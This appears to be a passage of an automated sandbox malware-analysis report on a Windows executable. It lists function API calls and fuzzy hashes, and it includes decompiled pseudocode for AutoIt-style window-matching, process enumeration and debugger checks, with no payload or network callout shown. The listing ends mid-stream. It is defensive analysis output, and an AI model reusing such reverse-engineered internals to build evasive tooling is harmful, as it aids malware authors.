Function 00EED9C0, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00F06F2F), ref: 00EED9DD

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 8a612904a797bd4099e87ae96b63a0889731c7dc28e3185d8218e46bef22d9cd
Instruction ID: d2232d4d5a43f0da4c8cfa10a8dba15af62730e666c01852f49b5513169fec3f
Opcode Fuzzy Hash: 8a612904a797bd4099e87ae96b63a0889731c7dc28e3185d8218e46bef22d9cd
Instruction Fuzzy Hash: 30E04EB4904B049A87318F1BE844406FBF8AFE02253208E1FD4A6C2A64C3B4A1898F60

Uniqueness

Uniqueness Score: -1.00%

Function 00F23D3A, Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,?,?,00F06340,?,00F67AAC,00000003,00EEE0B0,?,?,00000001), ref: 00F23D58

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: deb5846e54a56405e635d2711a1e1cc7779b77bece768c6ae3a44030613554e5
Instruction ID: a035733abec4d202129a81800a13974335d06671bd65a6b5584147d09d1fe2c4
Opcode Fuzzy Hash: deb5846e54a56405e635d2711a1e1cc7779b77bece768c6ae3a44030613554e5
Instruction Fuzzy Hash: 1FE01276100318ABCB50DF98D844FDA77BCEF49760F00850AFA548B200C7B4EA808BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE270, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,?,00000001,?,00002000), ref: 00EEE288

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 25b9babe7532bb18d12c95e959121ef372ead16ffb4db3dfdadfa0e27bc9cda3
Instruction ID: 806427c535c5a8821e974fa41b62c5a088ab2cdd65ee48693e338c2a2d04e3d9
Opcode Fuzzy Hash: 25b9babe7532bb18d12c95e959121ef372ead16ffb4db3dfdadfa0e27bc9cda3
Instruction Fuzzy Hash: 30E01275604208BFC704DFA4DC45DAE7779E749201F008258FD01D7340D671AD5086A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF48E2, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00EF48EF

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction ID: 58d343e194c4c05ea08010bd22293e3bb9af0692003a656c8e3b7c4fa9942f98
Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction Fuzzy Hash: 03C09B7244014C77CF111942DC02F5A3F5997C0760F045010FB1C191619573D66195D5

Uniqueness

Uniqueness Score: -1.00%

Function 00EF17FA, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00EF1806

Part of subcall function 00EF16BA: __lock.LIBCMT ref: 00EF16C8

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __lock_doexit
String ID:
API String ID: 368792745-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: e20c5182b855e5352c03af1f93c3104ebacad124e1716c606a88d9ea072673bc
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: FBB0923258020C73DA202542AC07F163A5A87C0B60E290160BA0C291A1A9A2A9618089

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F13EC5, Relevance: 10.6, APIs: 7, Instructions: 78processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00F13EE2
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00F13EF2
Process32NextW.KERNEL32(00000000,0000022C), ref: 00F13F1D
__wsplitpath.LIBCMT ref: 00F13F48

Part of subcall function 00EF392E: __wsplitpath_helper.LIBCMT ref: 00EF3970

_wcscat.LIBCMT ref: 00F13F5B
__wcsicoll.LIBCMT ref: 00F13F6B
CloseHandle.KERNEL32(00000000), ref: 00F13FA4

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 2547909840-0
Opcode ID: 97752f4fecb173184324b752997d5c7f7d1cbd4113e59e3caabe1ca3f65e24a6
Instruction ID: 0bfe9be1b7dfc7fc799e7ce5aae695a7d721b62483e5d31b3331600dc0cdd03c
Opcode Fuzzy Hash: 97752f4fecb173184324b752997d5c7f7d1cbd4113e59e3caabe1ca3f65e24a6
Instruction Fuzzy Hash: 9B21D3B6900209ABCB25DF64CC84BEAB7F8EB48300F1040D9F60997140EBB5ABC5DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA128, Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00F01EE1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F01EF6
UnhandledExceptionFilter.KERNEL32(00F643DC), ref: 00F01F01
GetCurrentProcess.KERNEL32(C0000409), ref: 00F01F1D
TerminateProcess.KERNEL32(00000000), ref: 00F01F24

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: af43f63973aec510da47162c3aadfd1d5d3681e3cc431abaf026af5597a4a3bc
Instruction ID: b9e3e0e039ecfc0ed6cc5fb20f431cbc9c06ba451655febdb70dae2285ea76e4
Opcode Fuzzy Hash: af43f63973aec510da47162c3aadfd1d5d3681e3cc431abaf026af5597a4a3bc
Instruction Fuzzy Hash: 9421BAB492930CDFD750EF64ED496047BA4BB08300F50016AFA2C96772EBB669C1EF42

Uniqueness

Uniqueness Score: -1.00%

Function 00F48322, Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00F48322(void* __edx, void* __eflags, void* __fp0, intOrPtr* _a4) {
				char _v24;
				char _v40;
				char _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t35;
				void* _t37;
				void* _t39;
				char* _t53;
				void* _t61;
				void* _t62;
				intOrPtr* _t64;
				void* _t77;

				_t77 = __fp0;
				_t61 = __edx;
				E00EEBEC0( &_v24, __eflags);
				_t58 =  &_v40;
				E00EEBEC0( &_v40, __eflags);
				_t64 = _a4;
				if(E00F14A5A(_t64) != 0 || E00EF13CB(_t62,  *_t64, L"LAST") == 0) {
					_t53 = L"[LAST";
					goto L14;
				} else {
					if(E00EF13CB(_t62,  *_t64, L"ACTIVE") != 0) {
						_t33 = E00EF333F( *_t64, L"HANDLE=", 7);
						__eflags = _t33;
						if(_t33 != 0) {
							_t35 = E00EF333F( *_t64, L"REGEXP=", 7);
							__eflags = _t35;
							if(_t35 != 0) {
								_t37 = E00EF333F( *_t64, L"CLASSNAME=", "true");
								__eflags = _t37;
								if(_t37 != 0) {
									_t39 = E00EF13CB(_t62,  *_t64, L"ALL");
									__eflags = _t39;
									if(_t39 == 0) {
										_t53 = L"[ALL";
										goto L14;
									}
								} else {
									E00EE2390( &_v24, L"[CLASS:", _t61, _t62);
									_push(0xffffffff);
									_push("true");
									goto L10;
								}
							} else {
								E00EE2390( &_v24, L"[REGEXPTITLE:", _t61, _t62);
								_push(0xffffffff);
								_push(7);
								goto L10;
							}
						} else {
							E00EE2390( &_v24, L"[HANDLE:", _t61, _t62);
							_push(0xffffffff);
							_push(7);
							L10:
							_push( &_v56);
							_push(_t64);
							E00EEDE00( &_v40, E00F4125B(__eflags));
							_t58 =  &_v56;
							E00EE2480( &_v56);
							E00F4106D(__eflags, _t77,  &_v40);
							E00EEBFA0( &_v24, _t77,  &_v40);
							_t64 = _a4;
							goto L15;
						}
					} else {
						_t53 = L"[ACTIVE";
						L14:
						E00EE2390( &_v24, _t53, _t61, _t62);
						L15:
						E00EE1DE0( &_v24, _t58, "]", _t77);
						E00EEDE00(_t64,  &_v24);
					}
				}
				E00EE2480( &_v40);
				return E00EE2480( &_v24);
			}

0x00f48322
0x00f48322
0x00f4832e
0x00f48333
0x00f48336
0x00f4833b
0x00f48346
0x00f48445
0x00000000
0x00f48364
0x00f48376
0x00f4838c
0x00f48394
0x00f48396
0x00f483b5
0x00f483bd
0x00f483bf
0x00f483de
0x00f483e6
0x00f483e8
0x00f48432
0x00f4843a
0x00f4843c
0x00f4843e
0x00000000
0x00f4843e
0x00f483ea
0x00f483f2
0x00f483f7
0x00f483f9
0x00000000
0x00f483f9
0x00f483c1
0x00f483c9
0x00f483ce
0x00f483d0
0x00000000
0x00f483d0
0x00f48398
0x00f483a0
0x00f483a5
0x00f483a7
0x00f483fb
0x00f483fe
0x00f483ff
0x00f48409
0x00f4840e
0x00f48411
0x00f48417
0x00f48420
0x00f48425
0x00000000
0x00f48425
0x00f48378
0x00f48378
0x00f4844a
0x00f4844d
0x00f48452
0x00f4845a
0x00f48463
0x00f48463
0x00f48376
0x00f4846b
0x00f4847e

APIs

__wcsicoll.LIBCMT ref: 00F48354
__wcsicoll.LIBCMT ref: 00F4836C
__wcsnicmp.LIBCMT ref: 00F4838C

Strings

[ACTIVE, xrefs: 00F48378
CLASSNAME=, xrefs: 00F483D8
HANDLE=, xrefs: 00F48386
[CLASS:, xrefs: 00F483EA
[REGEXPTITLE:, xrefs: 00F483C1
ALL, xrefs: 00F4842C
REGEXP=, xrefs: 00F483AF
[HANDLE:, xrefs: 00F48398
ACTIVE, xrefs: 00F48366
LAST, xrefs: 00F4834E
[LAST, xrefs: 00F48445
[ALL, xrefs: 00F4843E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsicoll$__wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 790654849-1810252412
Opcode ID: 6a5eb52f0902981a3e2f2febc648fdb26df78f73cced5d4282628f32c44f42c5
Instruction ID: 615a4907a7c48049f8a6ffda68bad704787eb157c094c6a402eb29a5be2482bf
Opcode Fuzzy Hash: 6a5eb52f0902981a3e2f2febc648fdb26df78f73cced5d4282628f32c44f42c5
Instruction Fuzzy Hash: 3531A931E0420E66CB10EA61CD43FEE73EC9F11B51F501125FE50B71D6EE64EE45AAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F4ED23, Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 471
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00F4ED23(void* __eflags, void* __fp0, signed int* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24, char _a28, char _a32) {
				char _v20;
				char _v24;
				char _v28;
				char _v36;
				char _v40;
				char _v44;
				char _v52;
				char _v56;
				char _v60;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				struct HWND__* _v80;
				signed int _v84;
				char _v88;
				char _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				void* _t158;
				signed int _t173;
				short* _t189;
				signed int _t193;
				signed int _t194;
				signed int _t198;
				signed int _t209;
				signed int _t211;
				char* _t214;
				signed int _t215;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t242;
				signed int _t243;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t249;
				signed int* _t252;
				signed int _t258;
				signed int _t263;
				signed int _t269;
				signed int* _t273;
				signed int _t277;
				intOrPtr* _t343;
				struct HWND__* _t371;
				signed int* _t373;
				signed int _t378;
				void* _t380;
				void* _t381;
				void* _t383;
				void* _t385;
				void* _t387;
				void* _t388;
				void* _t389;
				void* _t390;
				void* _t391;
				void* _t392;
				void* _t393;
				void* _t398;

				_t398 = __fp0;
				_t393 = __eflags;
				_t380 = (_t378 & 0xfffffff8) - 0x54;
				_t158 = E00EEF100(_t157, _a16);
				_t343 = _a4;
				_v72 = _t343 + 0xec;
				E00EEF100(_t158, _t343 + 0xec);
				_t323 = _a8;
				 *((char*)(_t343 + 4)) = _a32;
				 *((char*)(_t343 + 5)) = _a28;
				_v88 = _t343 + 0x14;
				E00EEDE00(_t343 + 0x14, _a8);
				_t361 = _t343 + 0x24;
				_v80 = _t343 + 0x24;
				E00EEDE00(_t343 + 0x24, _a12);
				_v88 = _t343 + 0xbc;
				E00EE2390(_t343 + 0xbc, 0xf64e64, _a8, _t343);
				 *(_t343 + 0x10) = _a20;
				 *(_t343 + 0xcc) = 1;
				 *((char*)(_t343 + 0xc)) = 1;
				 *((intOrPtr*)(_t343 + 8)) = 0;
				 *((intOrPtr*)(_t343 + 0xd0)) = 0;
				 *((intOrPtr*)(_t343 + 0xe4)) = 0;
				E00EEBEC0( &_v60, _t393);
				E00EEBEC0( &_v44, _t393);
				_t287 =  &_v28;
				E00EEBEC0( &_v28, _t393);
				_t169 =  *(_t343 + 0x10);
				if( *(_t343 + 0x10) < 0) {
					_t269 = E00EF51DB(_t323, _t169);
					_t380 = _t380 + 4;
					 *(_t343 + 0x10) = _t269;
					 *((char*)(_t343 + 0xc)) = 0;
				}
				_t395 =  *(_t343 + 0x10) - 4;
				if( *(_t343 + 0x10) == 4) {
					E00F48322(_v88, _t395, _t398, _v88);
					 *(_t343 + 0x10) = 1;
				}
				if(E00F14A5A(_v88) == 0 || E00F14A5A(_t361) == 0) {
					_t362 = _v88;
					__eflags =  *((short*)(E00EE1C30(0, _v88, __eflags))) - 0x5b;
					_t273 = _a4;
					if(__eflags != 0) {
						L54:
						_t173 = E00F14A5A( &_v20);
						__eflags = _t173;
						if(_t173 == 0) {
							E00EEDE00(_v88,  &_v20);
						}
						__eflags = _t273[2];
						if(_t273[2] == 0) {
							_t273[2] = 1;
						}
						_t273[2] = _t273[2] | 0x00000004;
						__eflags = _t273[3];
						if(_t273[3] == 0) {
							E00EF0AF0(_v76);
						}
						__eflags = _t273[2] & 0x00000001;
						if((_t273[2] & 0x00000001) != 0) {
							__eflags = _t273[3];
							if(_t273[3] == 0) {
								E00EF0AF0(_v88);
							}
						}
						__eflags = _a24;
						_push(_t273);
						_push(0xf41059);
						if(_a24 == 0) {
							EnumWindows();
						} else {
							EnumChildWindows(GetDesktopWindow(), ??, ??);
						}
						_t345 = _a16;
						E00EEF100(E00F256E5(_a16, _v76), _v76);
						__eflags = _t273[0x39] - 1;
						if(_t273[0x39] >= 1) {
							E00F2CD25( *((intOrPtr*)(_t345 + 4)), _t345, _t273,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t345 + 4)))))));
						}
						E00EE2480( &_v24);
						E00EE2480( &_v40);
						E00EE2480( &_v56);
						return _t273[0x39];
					} else {
						_t189 = E00EE1C30(_t273[6] - 1, _t362, __eflags);
						__eflags =  *_t189 - 0x5d;
						if( *_t189 == 0x5d) {
							_v84 = 1;
							_t350 = _t273[6] - 2;
							__eflags = _t273[6] - 2;
							while(1) {
								__eflags = E00F417A7(_v88, _t398, _v88,  &_v52,  &_v36,  &_v84, _t350);
								if(__eflags == 0) {
									goto L54;
								}
								_t193 = E00F259E6(__eflags,  &_v52, L"LAST");
								_t381 = _t380 + 8;
								__eflags = _t193;
								if(__eflags != 0) {
									_t194 = E00F259E6(__eflags,  &_v36, 0xf64e64);
									__eflags = _t194;
									if(_t194 == 0) {
										goto L42;
									} else {
										_t277 =  *_t273;
										__eflags = _t277;
										if(_t277 == 0) {
											goto L46;
										} else {
											_push( &_v80);
											_v80 =  *_t277;
											_push(_a16);
											goto L8;
										}
									}
								} else {
									_t303 =  &_v52;
									_t209 = E00F259E6(__eflags,  &_v52, L"ACTIVE");
									_t383 = _t381 + 8;
									__eflags = _t209;
									if(__eflags != 0) {
										_t211 = E00F259E6(__eflags,  &_v36, 0xf64e64);
										__eflags = _t211;
										if(_t211 == 0) {
											goto L42;
										} else {
											_push(GetForegroundWindow());
											goto L49;
										}
									} else {
										_t215 = E00F259E6(__eflags,  &_v52, L"HANDLE");
										_t385 = _t383 + 8;
										__eflags = _t215;
										if(__eflags != 0) {
											E00F12C12(__eflags, _v36,  &_v80);
											_t371 = _v80;
											_t218 = IsWindow(_t371);
											__eflags = _t218;
											if(_t218 == 0) {
												L46:
												E00EE2480( &_v20);
												E00EE2480( &_v36);
												E00EE2480( &_v52);
												__eflags = 0;
												return 0;
											} else {
												_push(_t371);
												L49:
												_push(_t273);
												E00F2CD25(_t303, _t350);
												_v88 =  *( *_t273);
												_t214 =  &_v88;
												goto L7;
											}
										} else {
											_t220 = E00F259E6(__eflags,  &_v52, L"REGEXPTITLE");
											_t380 = _t385 + 8;
											__eflags = _t220;
											if(__eflags == 0) {
												_t222 = E00F259E6(__eflags,  &_v52, L"CLASS");
												_t380 = _t380 + 8;
												__eflags = _t222;
												if(__eflags == 0) {
													_t223 = E00F259E6(__eflags,  &_v52, L"REGEXPCLASS");
													_t380 = _t380 + 8;
													__eflags = _t223;
													if(__eflags == 0) {
														_t224 = E00F259E6(__eflags,  &_v52, "X");
														_t387 = _t380 + 8;
														__eflags = _t224;
														if(__eflags == 0) {
															_t225 = E00F259E6(__eflags,  &_v52, "Y");
															_t388 = _t387 + 8;
															__eflags = _t225;
															if(__eflags == 0) {
																_t227 = E00F259E6(__eflags,  &_v52, "W");
																_t389 = _t388 + 8;
																__eflags = _t227;
																if(__eflags == 0) {
																	_t228 = E00F259E6(__eflags,  &_v52, "H");
																	_t390 = _t389 + 8;
																	__eflags = _t228;
																	if(__eflags == 0) {
																		_t229 = E00F259E6(__eflags,  &_v52, L"INSTANCE");
																		_t391 = _t390 + 8;
																		__eflags = _t229;
																		if(__eflags == 0) {
																			_t231 = E00F259E6(__eflags,  &_v52, L"ALL");
																			_t392 = _t391 + 8;
																			__eflags = _t231;
																			if(__eflags == 0) {
																				_t232 = E00F259E6(__eflags,  &_v52, L"TITLE");
																				_t380 = _t392 + 8;
																				__eflags = _t232;
																				if(__eflags == 0) {
																					_t233 = E00F2CD09(__eflags,  &_v52, 0xf64e64);
																					_t380 = _t380 + 8;
																					__eflags = _t233;
																					if(_t233 == 0) {
																						continue;
																					} else {
																						goto L42;
																					}
																				} else {
																					_t234 = _t273[2];
																					__eflags = _t234 & 0x00000002;
																					if((_t234 & 0x00000002) != 0) {
																						E00EE2480( &_v20);
																						E00EE2480( &_v36);
																						E00EE2480( &_v52);
																						return 0xfffffffc;
																					} else {
																						_t273[2] = _t234 | 0x00000001;
																						E00EEDE00( &_v20,  &_v36);
																						continue;
																					}
																				}
																			} else {
																				_t242 = E00F259E6(__eflags,  &_v36, 0xf64e64);
																				_t380 = _t392 + 8;
																				__eflags = _t242;
																				if(_t242 == 0) {
																					L42:
																					E00EE2480( &_v20);
																					E00EE2480( &_v36);
																					_t198 = E00EE2480( &_v52) | 0xffffffff;
																					__eflags = _t198;
																					return _t198;
																				} else {
																					_t273[2] = _t273[2] | 0x00000040;
																					continue;
																				}
																			}
																		} else {
																			_t273[2] = _t273[2] | 0x00000020;
																			_push(_v36);
																			_t243 = E00EF30B0();
																			_t380 = _t391 + 4;
																			_t273[0x33] = _t243;
																			continue;
																		}
																	} else {
																		_t273[2] = _t273[2] | 0x00000400;
																		_push(_v36);
																		_t245 = E00EF30B0();
																		_t380 = _t390 + 4;
																		_t273[0x38] = _t245;
																		continue;
																	}
																} else {
																	_t273[2] = _t273[2] | 0x00000200;
																	_push(_v36);
																	_t246 = E00EF30B0();
																	_t380 = _t389 + 4;
																	_t273[0x37] = _t246;
																	continue;
																}
															} else {
																_t273[2] = _t273[2] | 0x00000100;
																_push(_v36);
																_t247 = E00EF30B0();
																_t380 = _t388 + 4;
																_t273[0x36] = _t247;
																continue;
															}
														} else {
															_t273[2] = _t273[2] | 0x00000080;
															_push(_v36);
															_t249 = E00EF30B0();
															_t380 = _t387 + 4;
															_t273[0x35] = _t249;
															continue;
														}
													} else {
														_t273[2] = _t273[2] | 0x00000010;
														_t373 =  &(_t273[0x1e]);
														E00EE12B0(_t373);
														_push( &_v36);
														_t314 =  &_v60;
														_push( &_v60);
														goto L19;
													}
												} else {
													_t273[2] = _t273[2] | 0x00000008;
													E00EEDE00(_v80,  &_v36);
													continue;
												}
											} else {
												_t258 = _t273[2];
												__eflags = _t258 & 0x00000001;
												if((_t258 & 0x00000001) != 0) {
													E00EE2480( &_v20);
													E00EE2480( &_v36);
													E00EE2480( &_v52);
													return 0xfffffffd;
												} else {
													_t263 = _t258 | 0x00000002;
													__eflags = _t263;
													_t373 =  &(_t273[0xd]);
													_t273[2] = _t263;
													E00EE12B0(_t373);
													_t314 =  &_v36;
													_push( &_v36);
													_push( &_v68);
													L19:
													_push(_t373);
													_t252 = E00F480F9(_t314, __eflags);
													__eflags =  *_t252;
													if( *_t252 == 0) {
														continue;
													} else {
														E00EE2480( &_v20);
														E00EE2480( &_v36);
														E00EE2480( &_v52);
														return 0xfffffffe;
													}
												}
											}
										}
									}
								}
								goto L69;
							}
						}
						goto L54;
					}
				} else {
					E00F2CD25(_t287, _t343, _t343, GetForegroundWindow());
					_v96 =  *((intOrPtr*)( *_t343));
					_t214 =  &_v96;
					L7:
					_push(_t214);
					_push(_a16);
					L8:
					E00F1198A();
					E00EE2480( &_v28);
					E00EE2480( &_v44);
					E00EE2480( &_v60);
					return 1;
				}
				L69:
			}

0x00f4ed23
0x00f4ed23
0x00f4ed29
0x00f4ed32
0x00f4ed37
0x00f4ed40
0x00f4ed44
0x00f4ed49
0x00f4ed56
0x00f4ed59
0x00f4ed5c
0x00f4ed60
0x00f4ed68
0x00f4ed6c
0x00f4ed70
0x00f4ed80
0x00f4ed84
0x00f4ed8e
0x00f4ed95
0x00f4ed9f
0x00f4eda3
0x00f4eda6
0x00f4edac
0x00f4edb2
0x00f4edbb
0x00f4edc0
0x00f4edc4
0x00f4edc9
0x00f4edce
0x00f4edd1
0x00f4edd6
0x00f4edd9
0x00f4eddc
0x00f4eddc
0x00f4eddf
0x00f4ede3
0x00f4edea
0x00f4edef
0x00f4edef
0x00f4ee02
0x00f4ee5a
0x00f4ee65
0x00f4ee69
0x00f4ee6c
0x00f4f28e
0x00f4f293
0x00f4f298
0x00f4f29a
0x00f4f2a5
0x00f4f2a5
0x00f4f2aa
0x00f4f2ae
0x00f4f2b0
0x00f4f2b0
0x00f4f2b7
0x00f4f2bb
0x00f4f2bf
0x00f4f2c5
0x00f4f2c5
0x00f4f2ca
0x00f4f2ce
0x00f4f2d0
0x00f4f2d4
0x00f4f2da
0x00f4f2da
0x00f4f2d4
0x00f4f2df
0x00f4f2e3
0x00f4f2e4
0x00f4f2e9
0x00f4f2fa
0x00f4f2eb
0x00f4f2f2
0x00f4f2f2
0x00f4f304
0x00f4f30e
0x00f4f313
0x00f4f31a
0x00f4f325
0x00f4f325
0x00f4f334
0x00f4f33d
0x00f4f346
0x00f4f353
0x00f4ee72
0x00f4ee78
0x00f4ee7d
0x00f4ee81
0x00f4ee8a
0x00f4ee92
0x00f4ee92
0x00f4ee95
0x00f4eeaf
0x00f4eeb1
0x00000000
0x00000000
0x00f4eec1
0x00f4eec6
0x00f4eec9
0x00f4eecb
0x00f4f194
0x00f4f19c
0x00f4f19e
0x00000000
0x00f4f1a0
0x00f4f1a0
0x00f4f1a2
0x00f4f1a4
0x00000000
0x00f4f1a6
0x00f4f1af
0x00f4f1b0
0x00f4f1b4
0x00000000
0x00f4f1b4
0x00f4f1a4
0x00f4eed1
0x00f4eed1
0x00f4eedb
0x00f4eee0
0x00f4eee3
0x00f4eee5
0x00f4f1ea
0x00f4f1f2
0x00f4f1f4
0x00000000
0x00f4f1fa
0x00f4f200
0x00000000
0x00f4f200
0x00f4eeeb
0x00f4eef5
0x00f4eefa
